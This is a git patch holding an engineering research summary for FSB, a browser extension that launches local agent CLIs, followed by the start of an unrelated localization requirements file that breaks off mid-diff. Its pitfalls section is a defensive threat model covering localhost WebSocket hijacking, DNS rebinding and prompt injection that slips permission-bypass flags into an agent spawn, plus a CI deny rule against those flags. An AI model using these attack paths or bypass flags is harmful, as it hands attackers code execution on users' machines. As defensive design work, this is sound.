origin/rebind/secret/consent-tier defenses baked in from commit 1 of Phase 60; then the Claude Code MVP built AS an adapter (not hard-coded) so OpenCode/Codex/Gemini slot in without rework. **Explicitly shell to the user's installed `claude` binary — do NOT embed `@anthropic-ai/claude-agent-sdk`**: Anthropic's policy prohibits third-party products from using consumer subscription auth via the SDK, but shelling to the genuine binary is standard ecosystem practice (Cline, Roo, Zed, Conductor all ship it), and that IS the product promise ("agent kind = no API key needed"). Subscription-OAuth token proxying is banned outright (Anthropic enforced this Apr 4 2026). + +Key risks are almost entirely security-critical and cluster in one phase (60). The spawn channel is RCE-adjacent by construction: a browser click becomes `execve(claude, -p, )` inside a localhost daemon. Every 2025-2026 CVE we surveyed (Inspector CVE-2025-49596, MCP SDK CVE-2025-66414/66416, Claude Code CVE-2025-59536, Gemini CVSS 10 workspace-trust, TrustFall one-keypress RCE across four CLIs) was the same failure class: an assumed trust boundary that was never enforced. Mitigations are known and shippable in Phase 60: strict `Origin` allowlist (extension ID only), strict `Host` = loopback (DNS-rebind defense), argv-only spawn with daemon-controlled flag set, per-install rotating shared secret in `Sec-WebSocket-Protocol` (never URL), `--strict-mcp-config` mandatory, `--dangerously-skip-permissions` NEVER exposed, POSIX detached + process-group kill / Windows `taskkill /T /F`, `chrome.storage.session` persistence for MV3 SW-eviction survival, and source-pin tripwire discipline on every extension-touching commit. + +## Key Findings + +### Recommended Stack + +Zero new runtime deps in `mcp/`. The supervisor is ~200-300 lines on `node:child_process spawn` + `node:readline` line framing + the existing `@modelcontextprotocol/sdk ^1.29`. Flag matrices for all four target CLIs were verified against local binaries (claude 2.1.177, codex 0.142.5, opencode 1.14.25) plus current docs (gemini 0.50.0); adapters must version-probe (` --version`) and feature-detect (Claude ≥2.1.205 exposes a `capabilities` array in `system/init`). + +**Core technologies:** +- `node:child_process` `spawn({ detached: true, signal, windowsHide: true })` — supervised child with tree-killable process group; `AbortController` per delegation for clean cancel semantics +- `node:readline` `createInterface({ input: child.stdout, crlfDelay: Infinity })` — JSONL line framing that handles partial lines and stderr interleave; per-line `try { JSON.parse } catch` +- `@modelcontextprotocol/sdk ^1.29.0` — `server.server.getClientVersion(): Implementation | undefined` and `oninitialized` callback verified at pinned tag; captures `clientInfo` from every `initialize` handshake (currently discarded); INV-01 safe (no wire change) +- `ws ^8.19` (existing) — reverse-request channel is additive message types (`ext:request` / `ext:response` / `ext:event`) over the SAME 7225 bridge; no new transport, no new port +- Recorded JSONL fixtures per CLI (`tests/fixtures/agent-streams/`) — offline contract tests that survive CI without live CLI calls + +**Explicit rejections:** `@anthropic-ai/claude-agent-sdk` (banned subscription auth for third parties + bundles a duplicate Claude Code binary + Claude-only), `node-pty`/any PTY (headless modes exist), `execa`/`tree-kill`/`split2` (built-ins suffice for one long-lived child shape), `--bare` on Claude (skips OAuth), URL query-string secrets, `0.0.0.0` binding, and every "auto/yolo/dangerously-skip" flag. + +### Expected Features + +Comparable products cluster in four shapes: same-dropdown (Cline/Roo), separate-section (Zed), account-provider (Xcode), hosted-picker (GitHub Agent HQ). FSB's structural difference is that every comparable fronts an agent for coding-in-a-repo; FSB fronts the agent for driving the user's live browser, and the spawned agent loops back through FSB's own MCP tools. No surveyed product does side-panel-initiated spawn of a local CLI that then controls the user's real logged-in browser. + +**Must have (table stakes):** +- Providers panel with `api`/`agent` kinds; agent kind hides key field, shows connection/install/auth state (Cline convention) +- "Uses your existing subscription — no API key needed" copy on agent providers; explicit inverse ("your Anthropic BYOK key does NOT make Claude Code work") +- Installed/not-installed detection per agent with 3-state degradation ("installed" / "not installed" / "daemon offline") +- Live streaming progress feed with per-tool-call visibility (map `claude -p --output-format stream-json --include-partial-messages` events to a side-panel feed) +- Stop/kill button that actually reclaims tabs (kills tree + releases v0.9.60 tab ownership) +- Explicit offline → `fsb-mcp-server doctor` handoff (extension has no `nativeMessaging`; cannot wake the daemon) +- Consent gate before spawn + strict-permission defaults + `--strict-mcp-config` (browser-control consent conventions from Claude in Chrome / Atlas / Gemini auto-browse) +- Usage/cost reporting appropriate to kind — API kind keeps cost tracker; agent kind shows tokens/turns/duration + "included in your subscription" (never fabricated dollars) +- Thread-as-session continuity (Claude/Codex/Gemini all support resume; stateless-per-message is the fallback for task-mode MVP) +- Visible in-browser activity — orange glow + visual-session badges already exist + +**Should have (differentiators):** +- Ground-truth recommended default (connected > installed > copy-clicked) — never auto-switch +- Live-connected roster from MCP `initialize` handshake — unique observability nobody else has +- Closed-loop delegation (side panel → spawn → browser control via FSB MCP) with a shipped `fsb` agent definition via `--agents` instead of prompt-stuffing +- Multi-agent adapter contract (`AgentProviderAdapter`: `detect / buildSpawn / parseEvents / kill / caps`) +- Cross-surface session continuity — surface `session_id` so `claude --resume ` works in the terminal after the side-panel run +- Doctor-integrated failure UX with layer classification +- Kill switch that reports "agent stopped, 2 tabs released" + +**Defer (v1.x / v2+):** +- Chat-mode via `--resume` + per-thread cwd pinning (task-mode ships first) +- OpenCode → Codex → Gemini adapters (contract proven on Claude Code first) +- Native-messaging host to wake the daemon (removes biggest UX cliff, adds installer + attack surface) +- ACP-based adapter unification (`@zed-industries/agent-client-protocol`) — designated evolution path once ≥2 non-Claude adapters ship +- Remote delegation surfaces (Happy-style mobile approvals) + +**Anti-features (hard NO):** +- Proxying/spoofing subscription OAuth tokens or using Agent SDK with consumer auth (Anthropic banned Apr 4 2026) +- Bundling/silent-installing agent CLIs (Conductor can; FSB is MV3 extension + npm daemon — wrong shape) +- PTY/TUI screen-scraping (structured headless interfaces exist for all four) +- `--dangerously-skip-permissions` / `--yolo` / `--auto` as default or convenience toggle (RCE) +- Remote-LAN/tunnel delegation this milestone (localhost-only) +- Fabricated dollar costs for subscription-backed runs (Cline shows $0.00 — mimic) +- Auto-switching provider when a "better" agent connects +- Forcing/funneling users away from BYOK (INV-03 provider parity) + +### Architecture Approach + +FSB v0.9.91 is a brownfield integration map — the four features layer onto existing seams. `PLATFORMS` registry + `resolvePlatformTarget` handle disk detection; `AgentScope.ensure()` sends the `agent:register` payload (empty `{}` today — the clientInfo seam); `mcp-bridge-client.js:_ws.onopen` mints a per-connect `connectionId` (the pattern to clone for clientInfo stamping); the ws://7225 hub already gates by browser Origin (`bridge.ts:297-309`) and handles hub-exit promotion (`:756-783`); the `serve` daemon (`index.ts:266-294`) is the only intentionally long-lived process. Delegation coexists with the extension's own agent loop by becoming the fifth `EXECUTION_MODES` entry — the reasoning loop runs in the spawned CLI, not `runAgentLoop`; the daemon keeps only a session-lite record for UI state. + +**Major components (new + modified):** + +1. **Client-identity capture glue** (NEW inline in `runtime.ts` / `agent-scope.ts`; MODIFY `mcp-tool-dispatcher.js:handleAgentRegisterRoute` + `agent-registry.js`) — reads `getClientVersion()`, threads `clientInfo` through the additive `agent:register` payload, extension stamps registry AgentRecord + rolls up to durable `fsbAgentProviders.connected` +2. **Providers panel** (MODIFY `control_panel.html:146` + `options.js`) — rename "API Configuration" → "Providers"; NEW `providerKind` setting alongside `modelProvider` (which stays scoped to the 7 API providers so `universal-provider.js` never sees an agent value); agent-kind hides key groups, shows installed/connected/auth state +3. **Reverse-request protocol** (NEW additive types in `mcp/src/types.ts` + `bridge.ts` + `mcp-bridge-client.js`) — `ext:request` / `ext:response` / `ext:event` frames; supervisor advertises `capabilities: ['agent-spawn']` on `relay:hello`; hub routes locally or forwards to the advertising relay; Origin allowlist + shared secret + consent tier gate every frame +4. **SpawnSupervisor** (NEW `mcp/src/spawn-supervisor.ts`, ~200-300 lines, lives in the `serve` daemon) — validates consent + secret, looks up adapter, `spawn` with adapter-built argv, parses stream-json into `ext:event` fan-out, kill (SIGTERM → SIGKILL escalation with negative-PID on POSIX / `taskkill /T /F` on Windows) +5. **Adapter registry** (NEW `mcp/src/agent-providers/{index,adapter,claude-code}.ts`) — `AgentProviderAdapter` contract: `detect() / buildSpawn(task, ctx) / parseEvents(stream) / kill(child) / caps()`; keyed against `INSTALL_CLIENTS` + `PLATFORMS`; Claude Code first, then OpenCode/Codex/Gemini +6. **Fifth execution mode** (MODIFY `extension/ai/engine-config.js:63-108`) — `delegated: { uiFeedbackChannel: 'popup-sidepanel', animatedHighlights: true, safetyLimits: wall-clock + event-silence watchdog }` (no iteration cap — loop runs in the external CLI) +7. **Delegation coordinator** (MODIFY `extension/background.js` + `sidepanel.js`) — `startDelegatedTask`/`stopDelegatedTask` runtime messages; delegated session-lite records persisted to `chrome.storage.session` for SW-eviction survival; MUST use same-context `fsbDispatchInternalMessage` (auto-memory: `sendMessage` never loops back in-SW) + +**Spawner ownership decision:** the `serve` daemon owns spawning. Rationale: hub identity is unstable by design (any stdio server can hold the port; hub-exit promotion reshuffles roles); spawning is RCE-adjacent and needs a single explicit consent holder; the daemon is the only intentionally long-lived process; and the extension can't wake anything (no `nativeMessaging`). The hub's only new job is routing `ext:*` frames to whichever relay advertised `agent-spawn` capabilities. + +### Critical Pitfalls + +The security section is the top of the pitfall stack. Every one of the top 5 is a repeat of a 2025-2026 CVE class that already shipped in the wild. + +1. **CSWSH on ws://localhost:7225 → spawn RCE** — an attacker-controlled tab dials `ws://localhost:7225` and sends the delegation request. Prevention: strict `Origin` allowlist to `chrome-extension://` on the WS upgrade, `Sec-WebSocket-Protocol` shared secret, `Host` = loopback, never bind `0.0.0.0`. Reference incidents: Mailpit, Dozzle CVE-2026-44985, Nanobot. Phase 60. +2. **DNS rebinding against localhost** — attacker's page resolves `evil.com` to `127.0.0.1` after the fact; loose `Host` checks pass. Prevention: `Host` header equality against `127.0.0.1`/`localhost` (port-stripped, case-folded), `Origin` allowlist still primary. Reference incidents: CVE-2025-49596 (Inspector, CVSS 9.4), CVE-2025-66414/66416 (MCP SDKs). Phase 60. +3. **Prompt-injection into spawn payload → RCE** — reverse-request payload carries `--dangerously-skip-permissions` or a malicious `--mcp-config`. Prevention: daemon owns the flag set; extension provides ONLY prompt string + adapter selector; reject unknown payload keys; strict argv construction (never `sh -c`); ship an `fsb` agent definition instead of prompt-stuffing; `--strict-mcp-config` mandatory. Reference incidents: CVE-2025-59536, CVE-2025-54794/54795, TrustFall. Phases 60/61/62 (defense-in-depth). +4. **`--dangerously-skip-permissions` / `--yolo` as default or "fast mode"** — 1-click RCE for any prompt injection. Prevention: PERMANENT invariant that these flags never appear in FSB's spawn path; grep-fail CI gate. Phase 60. +5. **Weak / leaked shared secret** — token in `chrome.storage.sync` (sync = huge leak surface), in URL query, in diagnostic logs. Prevention: per-install `>=32-byte` random token, rotate on daemon restart, transport via `Sec-WebSocket-Protocol` header only, redaction bar extends `redactForLog`, Origin allowlist stays primary (secret is defense-in-depth). Phase 60. + +Additional load-bearing pitfalls with narrower phase homes: +- **Orphaned/zombie children on cancel** (Windows + POSIX): `spawn({ detached: true })` + `process.kill(-child.pid, 'SIGTERM')` on POSIX, `taskkill /pid /T /F` on Windows, orphan-scan on daemon startup. Phase 61. +- **Stdout backpressure deadlock**: `readline` interface, no `await` in the parse handler, drop-with-notice on side-panel close. Phase 61. +- **Daemon crash mid-run leaves CLI controlling browser**: extension-side heartbeat, spawned CLI exits when MCP transport dies, daemon restart doesn't blind-adopt. Phase 62. +- **Agent CLI stdout/flag/schema drift between versions**: adapter version detection, fail-loud on unknown events, drift-smoke CI job. Phases 61 + 63. +- **MV3 SW eviction during long delegation**: `chrome.storage.session` write per progress event, 20s WS heartbeat resets SW idle timer (Chrome 116+), `chrome.alarms` backup, extend the load-bearing v0.10.0 `setTimeout`-iterator pattern (INV-04). Phase 62. +- **Source-pin tripwire tests break the moment extension gets wired** (auto-memory): every extension-source edit updates paired tripwires in the same commit; full test suite green from commit 1 of every phase. Every extension-touching phase. +- **Chat-thread vs one-shot mismatch (`--resume` vs `-p` semantics)**: Claude Code `--continue` silently creates a new session in `-p` mode; adapter contract has explicit `mode: 'task' | 'chat'`. Phase 61 + 62. +- **User-vs-agent tab conflict**: default the delegated agent to a new background tab; explicit "take control" affordance on the active tab; `change_report` reconciliation detects user-initiated navigation. Phase 62. +- **Hub/relay bridge topology edge cases** (hub exits mid-delegation): topology tests must cover hub-exit-mid-delegation; new events are strictly additive types, existing wire byte-stable (INV-01). Phase 60 + every wire-touching phase. + +## Implications for Roadmap + +Phases continue from 57. The build order is dictated by dependencies (identity data enables provider UI enables delegation UI enables adapter breadth) plus a hard rule: the security foundation (Phase 60) ships before any spawn code and cannot be deferred to a "hardening" phase. + +### Phase 57 — Agent identity capture (copy-clicks + clientInfo + inventory) +**Rationale:** Pure additive data layer on both sides of the wire; unblocks everything later; closes the v0.9.36 deferred "trusted MCP client identity from handshake metadata" item. Ships value on its own (control-panel roster) before any spawn work. +**Delivers:** `persistCopyClick` in `onboarding.js`; `getClientVersion()` capture in `runtime.ts`/`agent-scope.ts`; `clientInfo` field in `agent:register` payload (additive; INV-01 safe); `stampClientInfo` on `AgentRecord`; `resolvePlatformTarget` extended for cli-mode `claude-code` (binary + `~/.claude.json` detection); `fsbAgentProviders` storage schema; `getMcpClients` runtime message. +**Uses:** `platforms.ts` (existing), `agent-registry.js:stampConnectionId` pattern, SDK `^1.29.0`. +**Research flag:** LOW. + +### Phase 58 — Providers panel rename + kinds + recommended default +**Rationale:** Visible value before the risky spawn work; establishes the selection the delegation UI reads; UI-only, low pitfall exposure. +**Delivers:** `control_panel.html:146` rename; `providerKind` model in `options.js`; agent rows + install/auth/connection state + recommended badge (connected > installed > copy-clicked); BYOK guard so `universal-provider.js` never sees an agent value; explicit "uses your subscription" copy per agent. +**Research flag:** LOW. + +### Phase 59 — Reverse-request channel + security foundation +**Rationale:** SECURITY-CRITICAL. Pitfalls 1, 2, 3 (argv/flag rules), 5, 16 land here. Isolated in its own phase with its own tests so the INV-01 additive proof and CSWSH/rebind fixtures land before any spawn code exists. +**Delivers:** Additive `ext:request`/`ext:response`/`ext:event` types; `capabilities: ['agent-spawn']` on `relay:hello`; hub routing logic; extension pending-map + `sendExtRequest`; strict `Origin` allowlist to `chrome-extension://`; `Host` = loopback check; per-install rotating shared secret in `Sec-WebSocket-Protocol`; `redactForLog` extension for token patterns; hub-exit-mid-delegation topology test cases. +**Research flag:** MEDIUM — shared-secret provisioning UX (TOFU pairing vs user-visible pairing code) and rebind fixture design. + +### Phase 60 — Adapter contract + Claude Code MVP +**Rationale:** The integration payoff. Built AS an adapter from day one so OpenCode/Codex/Gemini slot in without rework. Pitfalls 3 (argv), 6, 7, 9, 12 land here. +**Delivers:** `AgentProviderAdapter` contract; `claude-code.ts` adapter with verified 2.1.177 flag set; `SpawnSupervisor` with POSIX process-group kill / Windows `taskkill /T /F`; `readline` stream framing; scrubbed env; stream-json event contract parser; `caps()` distinguishes task-mode vs chat-mode; adapter version detection; recorded JSONL fixtures. +**Research flag:** MEDIUM — Claude Code spikes: `--agent fsb` + inline `--agents` composition; `--tools ""` Windows quoting; `.cmd` shim resolution. + +### Phase 61 — Delegation UX, lifecycle, and offline handoff +**Rationale:** The user-facing payoff. Pitfalls 4 (UX audit), 8, 10, 13, 14, 15 land here. +**Delivers:** Fifth `EXECUTION_MODES` entry `delegated`; `startDelegatedTask`/`stopDelegatedTask` background handlers; side-panel progress feed (init/tool/retry/result); kill switch that releases owned tabs; `chrome.storage.session` persistence per progress event; 20s WS heartbeat + `chrome.alarms` backup; explicit consent tiers; default-background-tab + "take control" affordance; post-run usage summary card; "agent offline → `doctor`" state. +**Research flag:** MEDIUM-HIGH — consent tier UX has no direct comparable; Anthropic billing model under active churn. + +### Phase 62 — CI drift-smoke gate + doctor delegation checks +**Rationale:** Pitfall 9 (drift) will keep happening across the milestone's life. +**Delivers:** CI job that runs each adapter against a canned prompt and asserts a known event sequence; `fsb-mcp-server doctor` extended with binary/version/auth/spawn-secret checks per adapter; adapter compatibility matrix in `doctor` output; `agent_protocol_drift` classification. +**Research flag:** LOW. + +### Phase 63+ — Multi-agent adapters (OpenCode → Codex → Gemini) +**Rationale:** Contract proven by Claude Code MVP; each new adapter re-uses the Phase 60 contract. +**Delivers:** Per-CLI adapters with verified flag matrices; per-adapter caps + version matrix + credentials story; `caps.chatMode` flag driving side-panel affordance (`--resume`); billing-model copy per adapter. +**Research flag:** MEDIUM per adapter — Gemini 0.50.0 live `--help` capture; OpenCode HTTP-server-vs-spawn shape. + +### Phase Ordering Rationale + +- **Dependency chain:** identity data (57) → provider selection UI reads it (58) → security foundation must exist before any spawn code (59) → adapter contract needs the channel (60) → UX/lifecycle needs the adapter (61) → drift gate and doctor need something to check (62) → contract must be stable before breadth (63+). +- **Security-first:** Phase 59 is the load-bearing phase. Every top-5 critical pitfall has fixture-level evidence baked in before any spawn logic exists in Phase 60. +- **INV-01 discipline:** every wire addition is additive — new frame types + optional payload fields only. Existing `MCPMessageType` values and tool schemas byte-stable across the whole milestone. +- **Test-suite tripwire discipline:** every extension-touching phase runs the full suite from commit 1; every extension-source edit updates paired tripwires in the same commit. + +## Confidence Assessment + +| Area | Confidence | Notes | +|------|------------|-------| +| Stack | HIGH | Flag matrices verified against local binaries (claude 2.1.177, codex 0.142.5, opencode 1.14.25) + current official docs; SDK accessor verified at pinned tag v1.29.0; Node child_process design facts verified verbatim from nodejs.org/api/child_process.html. Gemini 0.50.0 docs-only (no local binary). | +| Features | HIGH | Core UX conventions verified against Zed, Cline, Claude Code, ACP, Apple, GitHub, Google, OpenAI docs and multiple 2025-2026 vendor product pages. Anthropic subscription-OAuth ban timeline (Jan-Apr 2026) verified. | +| Architecture | HIGH | Every integration seam cited at file:line against live source; SDK `getClientVersion` verified via Context7 against pinned `^1.29.0`. | +| Pitfalls | HIGH | Security section verified against 2025-2026 CVEs and vendor advisories; MV3/child_process sections verified against Chrome/Node.js docs. Vendor billing footnotes flagged. | + +**Overall confidence:** HIGH + +### Gaps to Address + +- **Shared-secret provisioning UX** — TOFU pairing on first `serve` connect vs a user-visible pairing code from `fsb-mcp-server pair` — decide in Phase 59 planning. +- **Inventory delivery trigger** — on-extension-connect push vs piggyback on `agent:register` vs on-demand `ext:request clients.detect` — decide in Phase 57 planning. +- **Anthropic billing model** — May 14 2026 announced, June 15 2026 paused; Providers-panel copy must not promise "unlimited/free" and must reflect the current state within each release cycle. +- **Whether `--agent fsb` selects an agent defined inline via `--agents`** — 5-minute spike in Phase 60; fallback is `--append-system-prompt-file`. +- **`--tools ""` Windows quoting + `.cmd` shim resolution** — Node CVE-2024-27980 EINVAL behavior; per-CLI installer layout to confirm. +- **OpenCode HTTP-server-vs-spawn adapter shape** — `opencode serve` + `run --attach` is a cheaper reuse path than cold spawn. +- **Gemini 0.50.0 live `--help` capture** — first Gemini adapter phase must start with this before any code. + +## Feature Categories for Requirements Definition + +1. **Identity Capture (IDENT)** — copy-click persist, MCP `initialize` `clientInfo` capture + threading, disk detection per `platforms.ts`, `fsbAgentProviders` storage schema. +2. **Providers Panel (PROV)** — "API Configuration" → "Providers" rename, `providerKind: api|agent`, per-kind field visibility, recommended-default badge (connected > installed > copy-clicked), kind-appropriate copy. +3. **Delegation Channel (CHAN)** — `ext:*` reverse-request frames on ws://7225, Origin allowlist, Host loopback, shared-secret transport, hub routing to `agent-spawn` relay, INV-01 additive proof, hub-exit topology tests. +4. **Adapter Contract (ADAPT)** — `AgentProviderAdapter` interface, `SpawnSupervisor`, POSIX/Windows kill-tree, `readline` framing, scrubbed env, version detection, JSONL fixtures. +5. **Claude Code MVP (CLAUDE)** — verified 2.1.177 flag set, shipped `fsb` agent definition via `--agents`, stream-json parsing, task-mode first, subscription auth via user's own login. +6. **Delegation UX (UX)** — consent tiers (first-enable + per-run), streaming feed, default-background-tab + take-control, kill switch that reclaims tabs, "agent offline → `doctor`", post-run usage summary card, cost copy discipline. +7. **Lifecycle & Persistence (LIFE)** — SW-eviction survival via `chrome.storage.session`, WS heartbeats, daemon-liveness detection, fifth `EXECUTION_MODES` entry. +8. **Drift Gate & Doctor (DRIFT)** — adapter version matrix, per-adapter CI smoke, `doctor` extensions, diagnostics classification. +9. **Multi-Agent Adapters (MULTI)** — OpenCode → Codex → Gemini (deferred phase family; contract-reuse only). + +## Sources + +Detailed sources live in the four research files. Aggregated by tier: + +### Primary (HIGH confidence) +- Local binaries executed 2026-07-10: `claude --help` @ 2.1.177; `codex exec --help` + `codex mcp --help` @ 0.142.5; `opencode run --help` @ 1.14.25 — all flags quoted verbatim +- `code.claude.com/docs/en/{cli-reference,headless,permissions,agent-sdk/overview,sub-agents,chrome}` +- `learn.chatgpt.com/docs/{non-interactive-mode,config-file/config-reference}` (Codex) +- `github.com/google-gemini/gemini-cli` docs +- `opencode.ai/docs/{cli,mcp-servers,agents,server,acp}` + `zed.dev/acp` +- `modelcontextprotocol/typescript-sdk` tag v1.29.0 `src/server/index.ts` — `clientInfo` + `getClientVersion()` verified +- `nodejs.org/api/child_process.html` — detached/process-group, kill-tree, backpressure, shell warning — verbatim +- 2025-2026 CVE advisories: CVE-2025-49596 (Inspector), CVE-2025-66414/66416 (MCP SDKs), CVE-2025-59536 (Claude Code project files), CVE-2025-54794/54795 (Claude Code command injection), Gemini CLI CVSS 10 (GHSA-wpqr-6v78-jr5g), TrustFall (Adversa AI, May 2026), Mailpit/Dozzle/Nanobot CSWSH advisories +- Direct source reads in this repo cited at file:line in ARCHITECTURE.md +- `.planning/PROJECT.md` v0.9.91 milestone section +- graphify graph queries confirming symbol locations +- Auto-memory: `fsb-source-pin-tripwires.md`; `fsb-same-context-dispatch.md` + +### Secondary (MEDIUM confidence) +- `zed.dev/docs/ai/external-agents` +- Cline docs on Claude Code provider; Roo Code PR #4864; Cline Codex OAuth blog +- Apple Xcode 26 coding intelligence docs +- GitHub Agent HQ blog posts +- `agentclientprotocol.com/protocol/overview` +- The Register (2026-02-20) + `anthropics/claude-code#28091` — subscription-OAuth ban timeline +- Chrome MV3 SW lifecycle + WebSocket keepalive docs + +### Tertiary (LOW confidence / needs Phase-time validation) +- Gemini CLI 0.50.0 flag surface (docs-only) +- OpenCode permission-bypass flag naming in 1.15+ (rename in flight) +- Anthropic billing model state (announced May 14 2026, paused June 15 2026) +- Wrapping the genuine `claude` binary is ecosystem-standard practice but not explicitly blessed in writing by Anthropic + +--- +*Research completed: 2026-07-10* +*Ready for roadmap: yes* From a7587d3410e0d9b118ed89a675459f1d56a9390d Mon Sep 17 00:00:00 2001 From: LakshmanTurlapati Date: Sun, 11 Oct 2026 05:45:26 -0500 Subject: [PATCH 02/57] docs: define milestone v1.3.0 requirements --- .planning/REQUIREMENTS.md | 229 +++++++++++--------------------------- 1 file changed, 66 insertions(+), 163 deletions(-) diff --git a/.planning/REQUIREMENTS.md b/.planning/REQUIREMENTS.md index a9bf7c9d0..e5de6fb1d 100644 --- a/.planning/REQUIREMENTS.md +++ b/.planning/REQUIREMENTS.md @@ -1,203 +1,106 @@ -# Requirements: FSB (Full Self-Browsing) +# Requirements: FSB Extension multilingual UI -**Defined:** 2026-07-11 -**Core Value:** Reliable single-attempt execution -- the AI decides correctly, the mechanics execute precisely. -**Milestone:** v0.9.91 MCP Clients as Providers +**Defined:** 2026-10-11 +**Core Value:** Reliable single-attempt execution. This milestone does not change automation. It makes package-owned extension chrome render in the seven locales the showcase already ships. ## v1 Requirements -Requirements for this milestone. Each maps to roadmap phases. +### Locale catalog -### IDENT -- Agent Identity Capture +- [ ] **LOC-01**: The packaged extension declares `default_locale` `en` and loads messages for `en`, `es`, `de`, `ja`, `ko`, `zh-CN`, and `zh-TW`. Chrome reads Chinese from `_locales/zh_CN` and `_locales/zh_TW`. +- [ ] **LOC-02**: One module maps those public codes to Chrome folders and applies the showcase alias rules: `zh`, `zh-Hans`, `zh-CN`, and `zh-SG` resolve to `zh-CN`; `zh-Hant`, `zh-TW`, `zh-HK`, and `zh-MO` resolve to `zh-TW`; any other tag falls back to its primary subtag when that subtag is supported. +- [ ] **LOC-03**: A missing or empty message shows the English message, never a blank control. +- [ ] **LOC-04**: A locale saved in `chrome.storage.local` under `fsbUiLocale` overrides the browser UI language. With no saved choice, the browser UI language is used. +- [ ] **LOC-05**: The resolver does not read the website `fsb-locale` cookie. -- [x] **IDENT-01**: When the user clicks a copy-to-clipboard button on the onboarding MCP-install screen for a specific client (`claude-code`, `cursor`, `vscode`, `windsurf`, `codex`, `opencode`, `openclaw`, `claude-desktop`, `all`), FSB records that client id (with timestamp, deduplicated, all-clients aggregated for multi-select cases) into a durable `fsbAgentProviders.clicked` list in `chrome.storage.local`. -- [x] **IDENT-02**: When an MCP client completes its `initialize` handshake with `fsb-mcp-server` (over any transport: stdio, streamable-HTTP, or the ws://7225 bridge), FSB captures the caller's `clientInfo.name` and `clientInfo.version` and threads them to the extension via an additive field on the existing `agent:register` bridge payload without breaking any existing consumer of that payload (INV-01). -- [x] **IDENT-03**: The extension's agent registry stamps captured `clientInfo` onto each live `AgentRecord` and rolls the identity up into a durable `fsbAgentProviders.connected` entry that survives service-worker eviction and Chrome restart, keyed so re-connections update rather than duplicate. -- [x] **IDENT-04**: `fsb-mcp-server` can enumerate installed MCP-capable clients on the current machine by inspecting the paths already known to `platforms.ts` (per-OS `configPath` for file-mode clients; ` --version` probe for cli-mode `claude-code`) and report each as `installed` / `not-installed` with any parseable version. -- [x] **IDENT-05**: A `getMcpClients` extension runtime message returns a merged view (`clicked` ∪ `installed` ∪ `connected`) with per-client status, so UI surfaces read one consistent structure instead of assembling it themselves. +### Wire stability -### PROV -- Providers Panel +- [ ] **WIRE-01**: MCP tool names, tool descriptions, JSON-RPC methods, error codes, storage keys, and bridge message types stay byte-stable. Localization does not change them. -- [x] **PROV-01**: The control panel section formerly labeled "API Configuration" is labeled "Providers" (heading, nav label, and any anchor `#api-config` continues to work as a redirect to the new `#providers` anchor for existing bookmarks). -- [x] **PROV-02**: Each provider has an explicit `providerKind` value of either `api` (the existing 7 BYOK LLM providers) or `agent` (a locally installed agent CLI); the kind determines which fields render. -- [x] **PROV-03**: When an `agent`-kind provider is selected, the API-key input, key-URL hint, and per-model key-format hint are hidden; the panel shows instead the provider's install status, auth status (from the CLI's own login state where surfaceable), connection status, and a short "uses your subscription -- no API key needed" caption. -- [x] **PROV-04**: When the user has both an active `agent` provider selection and a valid BYOK key for an `api` provider, `universal-provider.js` continues to see only `api`-kind provider values; the two selections do not collide, and switching between them preserves the other's configuration (INV-03 provider parity for the BYOK side). -- [x] **PROV-05**: The panel visually marks exactly one provider as "Recommended" per session, chosen by a ground-truth cascade: highest-priority = a provider whose CLI is currently connected via MCP `initialize`, next = a provider whose CLI is installed on disk, next = a provider whose copy button the user clicked during onboarding, fallback = the current xAI-default recommendation. The panel never auto-switches the user's selection; the badge is advisory only. -- [x] **PROV-06**: Cost/usage rows for `agent`-kind providers never display fabricated dollar amounts; they display token count, turn count, and duration and label the run as "included in your subscription", with a link to the vendor's current billing page (copy must not promise "free" or "unlimited"). +### Shell chrome -### CHAN -- Delegation Channel & Security Foundation +- [ ] **SHELL-01**: Chrome shows a localized extension name and description for each of the seven locales. `FSB` stays untranslated. The manifest `version` field stays the version. +- [ ] **SHELL-02**: Side-panel package-owned labels, buttons, empty states, and status text render in the active locale. +- [ ] **SHELL-03**: Popup package-owned labels, buttons, and status text render in the active locale. -- [x] **CHAN-01**: A new bridge message-type family (`ext:request` / `ext:response` / `ext:event`) transports extension→daemon reverse requests over the existing ws://localhost:7225 bridge without changing the byte-shape of any existing `MCPMessageType` value (INV-01 additive proof). -- [x] **CHAN-02**: A relay process signals its ability to fulfill spawn requests by advertising `capabilities: ['agent-spawn']` in its `relay:hello`; the hub routes each `ext:request` locally (if itself the daemon) or to the first relay advertising the required capability. -- [x] **CHAN-03**: The bridge rejects every incoming `ext:*` frame whose WebSocket upgrade did not carry an `Origin` header matching a durable per-install FSB-extension-id allowlist and whose `Host` header is not exactly `127.0.0.1` (or `localhost`) at the loopback port. -- [x] **CHAN-04**: A per-install >=32-byte shared secret is provisioned once between the extension and the daemon, transported only in the `Sec-WebSocket-Protocol` upgrade header (never in URL, never in payloads, never in logs), rotated on daemon restart, and required on every `ext:*` frame. -- [x] **CHAN-05**: `redactForLog` and diagnostic ring-buffer writes strip any string matching the shared-secret token pattern; the drift gate fails the build if a raw secret substring appears in any tracked log fixture. -- [x] **CHAN-06**: The bridge topology test suite covers hub-exit-mid-delegation and relay-mid-`ext:*`-frame scenarios; existing hub-exit-promotion tests still pass byte-for-byte. -- [x] **CHAN-07**: A permanent CI grep gate fails the build if the strings `--dangerously-skip-permissions`, `--yolo`, or `--auto` appear anywhere in `mcp/src/agent-providers/**`, so those flags can never enter the spawn path in any future patch. +### Settings -### ADAPT -- Adapter Contract & Spawn Supervisor +- [ ] **SET-01**: Options and control-panel package-owned labels, buttons, hints, and status text render in the active locale. -- [x] **ADAPT-01**: An `AgentProviderAdapter` TypeScript interface in `mcp/src/agent-providers/` defines exactly five methods: `detect() -> {installed, version, authState, binary}`, `buildSpawn(task, ctx) -> SpawnSpec`, `parseEvents(stream) -> AsyncIterable`, `kill(child, {grace}) -> Promise`, and `caps() -> AdapterCapabilities`. -- [x] **ADAPT-02**: A `SpawnSupervisor` module living in the `fsb-mcp-server serve` daemon accepts a validated spawn request, looks up the requested adapter, constructs argv from adapter output plus a daemon-controlled flag allowlist (unknown payload keys rejected), and spawns the child with `{ detached: true, windowsHide: true, stdio: ['pipe','pipe','pipe'] }` and an environment with `ANTHROPIC_API_KEY`/`OPENAI_API_KEY`/`GEMINI_API_KEY` scrubbed. -- [x] **ADAPT-03**: The supervisor never invokes a shell; the user's prompt travels only via `child.stdin` (never argv, never `sh -c`) so shell metacharacters and Windows `.cmd`-shim EINVAL (Node CVE-2024-27980) cannot execute. -- [x] **ADAPT-04**: A `stop`/cancel request triggers SIGTERM at the process-group level (POSIX `process.kill(-child.pid, 'SIGTERM')` after `spawn({detached:true})`, Windows 